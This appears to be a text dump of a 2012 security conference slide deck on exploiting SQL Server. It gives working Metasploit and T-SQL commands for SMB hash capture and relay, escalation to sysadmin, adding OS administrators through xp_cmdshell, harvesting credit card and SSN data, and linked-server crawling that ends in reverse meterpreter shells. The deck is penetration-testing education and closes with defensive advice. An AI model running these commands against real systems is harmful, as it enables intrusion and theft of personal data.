  • 22. SMB Capture: Obtain Seeded Hashes Obtaining service account hashes from the SQL Server should look something like this: DOMAIN: DEMO USER: serviceaccount LMHASH:5e17a06b538a42ae82273227fd61a5952f85252cc731bb25 NTHASH:763aa16c6882cb1b99d40dfc337b69e7e424d6524a91c03e http://www.metasploit.com/modules/auxiliary/server/capture/smb http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html
  • 23. SMB Capture: Crack Hashes 1. Crack first half of recovered LANMAN hash with seeded half LM Rainbow Tables: rcracki_mt -h 5e17a06b538a42ae ./halflmchall 2. Crack the second half with john the ripper to obtain case sensitive NTLM password. perl netntlm.pl --seed GPP4H1 --file /root/john_hashes.txt http://www.metasploit.com/modules/auxiliary/server/capture/smb http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html
  • 24. SMB Relay: Diagram Very high level overview: http://en.wikipedia.org/wiki/SMBRelay
  • 25. SMB Relay: Setup SMBProxy for Relay SMB Relay to 3rd Party with the SMB_Relay Metasploit exploit module: msfconsole use exploit/windows/smb/smb_relay set SMBHOST <targetserver> exploit If the service account has the local admin privileges on the remote system, then a shell will be returned by the smb_relay module http://www.metasploit.com/modules/exploit/windows/smb/smb_relay
  • 26. SMB Relay: Force MS SQL to Auth Force SQL Server to authenticate with the modules MSSQL_NTLM_STEALER or MSSQL_NTLM_STEALER_SQLI Msfconsole use auxiliary/admin/mssql/mssql_ntlm_stealer set USE_WINDOWS_AUTHENT true set DOMAIN <domain> set USERNAME <user> set PASSWORD <password> set RHOSTS <IP RANGE> set RPORT <port> Set SMBPROXY <evil server> run
  • 27. SMB Relay: Get Meterpreter Shells
  • 28. SMB Capture/Relay: Using PW or Shell If meterpreter then: • Type: shell • Type: osql –E –Q “what ever you want” If password: • Sign in via RDP • Open a cmd console • osql –E –Q “what ever you want”
  • 29. DEMO
  • 30. Do a crazy dance! BALLET = NOT CRAZY DANCING FLY = TOTALLY CRAZY
  • 31. OS ADMIN  DATABASE ADMIN SQL Server Local Authorization Bypass
  • 32. Local Auth Bypass: Summary How can we go from OS admin to DB admin? • SQL Server 2000 to 2008 ‒ LocalSystem = Sysadmin privileges • SQL Server 2012 ‒ Must migrate to SQL Server service process for Sysadmin privileges
  • 33. Local Auth Bypass: Summary Transparent Encryption = Mostly Useless (unless local hard drive encryption is in place and key management is done correctly)
  • 34. Local Auth Bypass: Psexec On SQL Server 2000 to 2008 Execute queries as sysadmin with osql: psexec –s cmd.exe osql –E –S “localhostsqlexpress” –Q “select is_srvrolemember(‘sysadmin’)” Execute queries as sysadmin with SSMS: psexec –i –s ssms http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
  • 35. Local Auth Bypass: Get Shell Obtain Meterpreter shell using the PSEXEC module msfconsole use exploit/windows/smb/psexec set RHOST <targetserver> set SMBDOMAIN . set SMBUSER <user> set SMBPASS <password> exploit http://www.metasploit.com/modules/exploit/windows/smb/psexec
  • 36. Local Auth Bypass: Get Sysadmin Create sysadmin in database using the Metasploit mssql_local_auth_bypass post module: In Meterpeter type “background” to return to msconsole. Then, in the msfconsole type: use post/windows/manage/mssql_local_auth_bypass set session <session> set DB_USERNAME <username> set DB_PASSWORD <password> exploit http://www.metasploit.com/modules/post/windows/manage/mssql_local_auth_bypass
  • 37. SQL Server Auth Bypass: Got Sysadmin asef
  • 38. Do a crazy whale dance! To the left… To the right… Now dive!
  • 39. DATABASE ADMIN  OS ADMIN xp_cmdshell
  • 40. XP_CMDSHELL: Summary XP_CMDSHELL = OS COMMAND EXEC Yes. We know you already know this, but don’t forget…
  • 41. XP_CMDSHELL: Re-Install Re-install xp_cmdshell EXEC master..sp_addextendedproc "xp_cmdshell", "C:Program FilesMicrosoft SQL ServerMSSQLBinnxplog70.dll";
  • 42. XP_CMDSHELL: Re-Enable Re-enable xp_cmdshell sp_configure ‘show advanced options’, 1; reconfigure; go; sp_configure ‘xp_cmdshell’, 1; reconfigure; go;
  • 43. XP_CMDSHELL: Execute Commands Add Local OS Administrator with xp_cmdshell EXEC master..xp_cmdshell ‘net user myadmin MyP@sword1’ EXEC master..xp_cmdshell ‘net localgroup administrators /add myadmin’
  • 45. Finding Data: Summary GOAL = Find sensitive data! • Credit cards • Social security number • Medical records
  • 46. Finding Data: TSQL Script Simple keywords search via TSQL! EXEC master..sp_msforeachdb 'SELECT @@Servername as Server_Name,''[?]'' as Database_name,Table_Name,Column_Name FROM [?].INFORMATION_SCHEMA.COLUMNS WHERE Column_Name LIKE ''%password%'' OR Column_Name LIKE ''%Credit%'' OR Column_Name LIKE ''%CCN%'' OR Column_Name LIKE ''%Account%'' OR Column_Name LIKE ''%Social%'' OR Column_Name LIKE ''%SSN%'' ORDER BY Table_name'
  • 47. Finding Data: Metasploit Module Database scraping with the mssql_findandsampledata module! Features • Scan multiple servers • Authenticate with local Windows, Domain or SQL credentials • Sample data • Number of records found • Output to screen and CSV file http://www.metasploit.com/modules/auxiliary/admin/mssql/mssql_findandsampledata
  • 48. Finding Data: Metasploit Module Launching mssql_findandsampledata: msfconsole use auxiliary/admin/mssql/mssql_findandsampledata set RHOSTS <range> set RPORT <port> setg USE_WINDOWS_AUTHENT true setg DOMAIN <CompanyDomain> set USERNAME <username> set PASSWORD <password> set SAMPLE_SIZE <size> set KEYWORDS credit|social|password exploit
  • 49. Finding Data: Module Output asef
  • 51. Do a crazy cat disco dance!
  • 53. Shared Service Accounts: Summary XP_CMDSHELL + Shared Service Accounts + OSQL -E = (more) Unauthorized DATA access
  • 54. Shared Service Accounts: Diagram asef
  • 55. Shared Service Accounts: TSQL Script XP_CMDSHELL + OSQL = MORE ACCESS! EXEC master..xp_cmdshell ‘osql –E –S HVA –Q “select super.secret.data”’ More examples: http://www.netspi.com/blog/2011/07/19/when-databases-attack-hacking- with-the-osql-utility/
  • 57. Database Link Crawling: Summary Database Links • Allow one database server to query another • Often configured with excessive privileges • Can be chained together • Use openquery() to query linked servers • Can be used to execute the infamous xp_cmdshell • Tons of access, no credentials required (via SQL injection)
  • 58. Database Link Crawling: Diagram asef
  • 59. Database Link Crawling: List Links How do I list linked servers? Two common options: sp_linkedservers and SELECT srvname FROM master..sysservers
  • 60. Database Link Crawling: List Links How do I list linked servers on a linked server? SELECT srvname FROM openquery(DB1, 'select srvname FROM master..sysservers')
  • 61. Database Link Crawling: List Links How do I list linked servers on the linked server’s linked server? SELECT srvname FROM openquery(DB1,'SELECT srvname FROM openquery(HVA,''SELECT srvname FROM master..sysservers'')')
  • 62. Database Link Crawling: You Get it! ….You get the point You can follow links until you run out 
  • 63. Database Link Crawling: Exec Cmds How do I run commands on a linked server? SELECT * FROM openquery(DB1,’SELECT * FROM openquery(HVA,’’SELECT 1;exec xp_cmdshell ‘’’’ping 192.168.1.1’’’’ ‘’)’)
  • 64. Database Link Crawling: Modules Two Modules 1. Direct connection 2. SQL Injection Available for Download • Not submitted to Metasploit trunk – Yet • Downloads available from nullbind’s github ‒ mssql_linkcrawler.rb ‒ mssql_linkcrawler_sqli.rb
  • 65. Database Link Crawling: Modules • Features ‒ Crawl SQL Server database links ‒ Standard Crawl output ‒ Verbose Crawl output ‒ Output to CSV file ‒ Supports 32 and 64 bit Windows ‒ Global Metasploit payload deployment ‒ Targeted Metasploit payload deployment ‒ Payload deployment via powershell memory injection
  • 66. Metasploit Module: Run multi/handler Setup the multi/handler module: use multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 443 set ExitOnSession false exploit -j -z
  • 67. Metasploit Module: Link Crawler Setup the mssql_linkcrawler_sqli module: use exploit/windows/mssql/mssql_linkcrawler_sqli set GET_PATH /employee.asp?id=1;[SQLi];-- set type blind set RHOST 192.168.1.100 set payload windows/meterpreter/reverse_tcp set lhost 192.168.1.130 set lport 443 set DisablePayloadHandler true exploit
  • 68. Database Link Crawling: Attack! asef
  • 70. Do a crazy cat disco dance! Yes. It warrants 2 disco cats!
  • 71. Database Link Chaining: Modules Current Constraints • Cannot crawl through SQL Server 2000 • Cannot enable xp_cmdshell through links • Cannot deliver payloads to systems without powershell (at the moment) • Currently, the module leaves a powershell process running on exit • Currently, doesn’t allow arbitrary query execution on linked servers
  • 72. Conclusions configure all accounts with LEAST PRIVILEGE system accounts service accounts database accounts application accounts
  • 73. Conclusions always VALIDATE INPUT web apps thick apps mobile apps web services
  • 74. Conclusions Configure SMB SIGNING
  • 75. Conclusions don’t do DRUGS
  • 76. Questions Antti Rantasaari Email: [email protected] Scott Sutherland Email: [email protected] Blog: http://www.netspi.com/blog/author/ssutherland/ Github: http://www.github.com/nullbind/ Twitter: @_nullbind Presentation Slides http://www.slideshare.net/nullbind/sql-serverexploitationescalationandpilferingapp- secusa2012